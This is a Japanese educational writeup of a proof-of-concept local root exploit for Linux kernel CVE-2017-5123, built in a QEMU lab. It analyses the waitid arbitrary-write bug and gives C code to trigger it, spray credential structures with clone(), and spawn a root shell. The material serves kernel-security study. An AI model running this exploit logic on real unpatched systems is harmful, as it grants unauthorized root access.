
PoC CVE-2017-5123 - LPE - SMEP/SMAP のバイパス。KASLR なし
この小さな writeup では、root 権限を取得できるカーネル脆弱性を分析します。
このファイルは4つのパートに分かれています:
この CVE の悪用方法は他にもたくさんあります(実際、これはカーネル学習用の_PoC_に過ぎず、_実際の攻撃_では使えません)が、この方法論はカーネルエクスプロイトの入門として役立つと思います。
この脆弱性は_4c48abe91be0_で導入されたため、そのバージョンのカーネルをビルドする必要があります。
これは古いバージョンであり、コードにパッチを当てる必要があるため、少し厄介かもしれません。
私は、既にパッチ済みのカーネルコードを含むリポジトリと、.configファイルを作成しました。これにより、_クローンしてビルド_することができます。
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse
このカーネルは_virtio_ドライバでビルドされるため、_virtio ディスク_を使ってVMとの間でファイルを共有できます。
次に、初期_rootfs_を作成します:
qemu-img create -f raw hda.raw 10G
# Format the disk to ext4
mkfs.ext4 ./hda.raw
# Make a mountpoint for the image
mkdir /tmp/mount1
# Mount the disk
sudo mount -o loop ./hda.raw /tmp/mount1
次に、基本的なLinuxディストリビューションをインストールします。例えば、pacstrap や debootstrap を使用します。
sudo pacstrap /tmp/mount1 base base-devel vim
最後に、システムを変更できます:
# Add a 'test' user
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# without password
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow
# we can mount a virtio disk in order to share files between host and guest
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared
# It is usefull to have sudo permission
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group
sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1
すべてが整っていれば、qemu でテストシステムを試すことができます:
qemu-system-x86_64 \
-kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
-hda ./hda.raw \
-m 4G \
-cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
-smp 4 \
-vga virtio \
-enable-kvm \
-nographic \
-machine type=q35,accel=kvm \
-virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
-append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
-chardev "vc,id=vc.0,cols=1920,rows=1080" \
-net "user,hostfwd=tcp::10022-:22" \
-net "nic" \
-s
CVE の説明には、waitid システムコール中に無制限の書き込み操作があると記載されています。
kernel/exit.c を開いてコードを見てみましょう:
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
return err;
Efault:
user_access_end();
return -EFAULT;
}
この関数は非常に単純です。いくつかのチェックの後、unsafe_put_user(...) の呼び出しがいくつかあり、関数は戻ります。
この関数の主要部分は unsafe_put_user(...) 関数で構成されているので、そこに移動しましょう(arch/x86/include/asm/uaccess.h):
/*
* The "unsafe" user accesses aren't really "unsafe", but the naming
* is a big fat warning: you have to not only do the access_ok()
* checking before using them, but you have to surround them with the
* user_access_begin/end() pair.
*/
#define user_access_begin() __uaccess_begin()
#define user_access_end() __uaccess_end()
#define unsafe_put_user(x, ptr, err_label) \
do { \
int __pu_err; \
__typeof__(*(ptr)) __pu_val = (x); \
__put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT); \
if (unlikely(__pu_err)) goto err_label; \
} while (0)
#define unsafe_get_user(x, ptr, err_label) \
do { \
int __gu_err; \
__inttype(*(ptr)) __gu_val; \
__get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT); \
(x) = (__force __typeof__(*(ptr)))__gu_val; \
if (unlikely(__gu_err)) goto err_label; \
} while (0)
コメントには重大な警告があります:unsafe_put/get_user を使用したい場合は、最初に access_ok() を呼び出し、それらを user_access_begin/end() で囲む必要があります。
先ほどのコード(waitid)を見ると、access_ok() が呼び出されていないため、このシステムコールはこの_警告_に_違反_しています。
しかし、これらのマクロとは何でしょうか?
SMAP と SMEP は、エクスプロイトを書きにくくするためにカーネルに導入された2つのセキュリティ機能です。これらの機能はCPUによって強制されることに注意してください。
SMEP は、CPUがスーパーバイザーモードのときにユーザースペースコードを実行することを防ぎます。一方、SMAP はユーザーメモリへの読み取り/書き込みアクセスをブロックします。
カーネルはユーザーメモリとの間でデータの読み書きを行う必要があり、これには2つの方法があります:
copy_from_user)を使用する;unsafe_put_user の定義にあるように、この関数は ptr が指すメモリに x の値をコピーするだけです(エラーがあれば err_label にジャンプします)。先ほど、カーネルは SMAP のためにユーザースペースにアクセスできないと言いました。そのため、これらの関数は user_access_begin/end() で囲む必要があります。
#define __uaccess_begin() stac()
#define __uaccess_end() clac()
見ての通り、user_access_begin/end は単に_ASM_命令の stac と clac です。
stac: "EFLAGS レジスタの AC フラグビットを設定します。これにより、ユーザーモードのデータアクセスのアライメントチェックが有効になる場合があります。CR4 レジスタで SMAP ビットが設定されている場合でも、スーパーバイザーモードからユーザーモードページへの明示的なデータアクセスが許可されます。"clac: "EFLAGS レジスタの AC フラグビットをクリアします。これにより、ユーザーモードのデータアクセスのアライメントチェックが無効になります。CR4 レジスタで SMAP ビットが設定されている場合、スーパーバイザーモードからユーザーモードページへの明示的なデータアクセスは許可されません。"基本的に、これらの2つのマクロは SMAP を有効/無効にします。
先ほどの「警告」は access_ok 関数にも言及しています:
/**
* access_ok: - Checks if a user space pointer is valid
* @type: Type of access: %VERIFY_READ or %VERIFY_WRITE. Note that
* %VERIFY_WRITE is a superset of %VERIFY_READ - if it is safe
* to write to a block, it is always safe to read from it.
* @addr: User space pointer to start of block to check
* @size: Size of block to check
*
* Context: User context only. This function may sleep if pagefaults are
* enabled.
*
* Checks if a pointer to a block of memory in user space is valid.
*
* Returns true (nonzero) if the memory block may be valid, false (zero)
* if it is definitely invalid.
*
* Note that, depending on architecture, this function probably just
* checks that the pointer is in the user space range - after calling
* this function, memory access functions may still return -EFAULT.
*/
#define access_ok(type, addr, size) \
({ \
WARN_ON_IN_IRQ(); \
likely(!__range_not_ok(addr, size, user_addr_max())); \
})
ここのコメントは一目瞭然です。このマクロはポインタが有効なユーザースペースポインタであるかをチェックします。
waitid コードをもう一度見てみましょう:
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
ご想像の通り、access_ok() がないと、infop ポインタが攻撃者によって完全に制御されるため、メモリ内の_どこにでも任意書き込み_が可能になります。
脆弱なパスに到達するのは非常に簡単で、次の単純なコードで_トリガー_を作成できます:
int thread_ready;
int die_thread(void *arg){
thread_ready=1;
syscall(__NR_sched_yield);
return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
printf("[0] Trying to overwrite 0x%016lx\r", where);
//int pid = fork(); // It is also possible to use fork syscall
thread_ready = 0;
int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
int err;
while(thread_ready == 0) {syscall(__NR_sched_yield);} // We should wait the thread
err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);
return err;
}
この単純なコードは脆弱性をトリガーし、where アドレスが指すメモリに書き込みを行います。
gdb を使用してこのトリガーを確認できます。例えば、_任意の_アドレスを選択し、trigger_bug 関数を使ってそれを上書きできます。
この脆弱性はさまざまな方法で悪用できますが、私は非常に単純なアプローチを好みます。
私たちは好きな場所に書き込めますが、書き込まれるデータは部分的にしか制御できません。アドレスを 0 で上書きできます。
基本的な考え方は、プロセスの_UID_を上書きして_root_になることですが、まずLinuxの資格情報(credential)が何かを理解する必要があります。
fork システムコールの調査から始めます。この関数は新しいプロセスを作成するために使用されます。
kernel/fork.c のコードを確認できます:
SYSCALL_DEFINE0(fork)
{
return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}
つまり、fork システムコールは_ハードコードされた_パラメータを持つ _do_fork の単なるラッパーです。
この最後の関数は少し長いですが、次のように要約できます:
long _do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
unsigned long tls)
{
struct task_struct *p;
int trace = 0;
long nr;
......
// This will create another task struct but it will NOT start the process.
p = copy_process(clone_flags, stack_start, stack_size,
child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
add_latent_entropy();
......
// Wake up the new created task. This will set in RUNNING the state of the task and enqueue in the running queue code
wake_up_new_task(p);
......
put_pid(pid);
} else {
nr = PTR_ERR(p);
}
return nr;
}
この関数は新しい task_struct オブジェクトを割り当てます。この構造体は非常に重要ですが(プロセスを記述します)、ここでは cred フィールドに注目します:
...
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
...
見ての通り、struct cred へのポインタが(3つ)あります。この構造体がどのように構成されているか見てみましょう(include/linux/cred.h):
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
......
見ての通り、プロセスの_UID_は単なる_符号なし整数_です(kuid_t の定義に従います)。したがって、root になるために、この値を 0 で上書きするだけで済みます。
task_struct 構造体は copy_process 関数で割り当てられます。この関数は少し複雑で、その主な目的はプロセスを新しいプロセスに「コピー」することです。
次に定義されている copy_creds(p, clone_flags) に注目します:
/*
* Copy credentials for the new process created by fork()
*
* We share if we can, but under some circumstances we have to generate a new
* set.
*
* The new process gets the current process's subjective credentials as its
* objective and subjective credentials
*/
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
struct cred *new;
int ret;
if (
#ifdef CONFIG_KEYS
!p->cred->thread_keyring &&
#endif
clone_flags & CLONE_THREAD
) {
p->real_cred = get_cred(p->cred);
get_cred(p->cred);
alter_cred_subscribers(p->cred, 2);
kdebug("share_creds(%p{%d,%d})",
p->cred, atomic_read(&p->cred->usage),
read_cred_subscribers(p->cred));
atomic_inc(&p->cred->user->processes);
return 0;
}
new = prepare_creds();
if (!new)
return -ENOMEM;
if (clone_flags & CLONE_NEWUSER) {
ret = create_user_ns(new);
if (ret < 0)
goto error_put;
}
.........
error_put:
put_cred(new);
return ret;
}
見ての通り、この関数は実際の割り当てが行われる prepare_creds を呼び出します。
これで、(擬似的に)任意の数の_struct cred_を割り当てる経路が得られました:
_do_fork()copy_process()copy_creds()最後の問題は、ユーザースペースから _do_fork() を呼び出す方法です。fork を使用できますが、これは遅い場合があるため、代わりに clone を使用します。
注意:フラグの関係で pthread は使用できません。copy_creds のコードを見ると、構造体が実際には割り当てられないパスがあることに気付くはずです。
さて、少しおさらいしましょう:
0 を書き込めることを知っている0 で上書きすると、root 権限が得られることを知っている次に、メモリ内のどこに書き込むかを知る必要があります。KASLR は無効ですが、個々の struct cred のアドレスは十分に安定していないため、メモリスプレーイング を進めることにしました。
アドレスの範囲を特定するために、メモリ内の struct cred を見つける必要があります。gdb と_python_を、このようなスクリプトとともに使用できます:
....
for task in task_lists():
#gdb.write("{address} {pid} {comm}\n".format(
# address=task,
# pid=task["pid"],
# comm=task["comm"].string()))
comm = task["comm"].string()
# Insert your executable name
if comm == "exploit":
print(task['cred'])
....
注意:このスクリプトは KASLR が無効で、デバッグシンボルがある場合にのみ機能します(init_task ポインタが必要です)。
数回試すと、ヒープが下方向に成長することがわかります。そのため、低いアドレスから試して高いアドレスへ進むことができます。
次に、clone システムコールを使用して多数のプロセスを生成できます。gdb のおかげでアドレスを確認できます:
stack=malloc(STACK_SIZE)+STACK_SIZE;
for(x=0;x<MAX_THREADS;x++){
stackTop = malloc(STACK_SIZE) + STACK_SIZE;
if (!stackTop){
perror("[-] Malloc");
return -1;
}
// spray_thread function can simply be a infinite loop
pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
if (pid == -1){
perror("\n\nCLONE");
return -1;
}
printf("[0] Process created: %d\r", x);
}
注意:4k を超えるプロセスを生成できない場合があります。その場合は ulimits を確認してください。
最後に、私たちの_PoC_を書きます。
trigger_bug を様々なアドレスで呼び出すだけで十分です(構造体を探しながら)。その間、生成したスレッドが自分の_UID_をチェックします。次のようになります:
struct shared_area{
int one_win;
};
struct shared_area glob_var;
// Sprayed thread
int spray_thread(void *arg){
int uid;
int previous_one = syscall(__NR_getuid);
// Loop over syscall getUID
while(1){
uid = syscall(__NR_getuid);
//printf("UID: %d\n",uid);
// If returned UID is different from the previous one, then we have hitted a struct cred area
if (uid != previous_one){
printf("WIN!! with %d", uid);
// Kill other treads in order to stabilize the system
glob_var.one_win = 1;
// Simply spawn a shell
system("/bin/sh");
}
if(glob_var.one_win == 1)
return 1;
}
return 0;
}
構造体に当たる確率は50%なので、数回実行すれば_root_権限を取得できます。

これは(基本的な)_PoC_であり、スプレーイングは完璧とは程遠いものです。これはカーネルの驚くべき世界への単なる「入門」に過ぎず、私が省略した多くの概念(メモリ管理など)があります。より深く学びたい場合は、prepare_creds とメモリ割り当てを調べてみてください。
KASLR は無効ですが、この脆弱性はこの緩和策もバイパスできます(unsafe_put_user は無効なアドレスでもクラッシュしません)。ただし、カーネルを学ぶことが目的であれば、ブルートフォースの「レイヤー」を追加することは有用ではないと思います。この脆弱性を_実際の攻撃_で使用することが目的であれば、別のエクスプロイト(少なくとも別のスプレーイング)を書くべきです。
考えさせる材料:私はこの脆弱性を使って ret2dir テクニックを理解し試しました(ヒント:エイリアスアドレスで書き込みをトリガーし、ユーザースペースアドレスで変更を読み取ることができます)。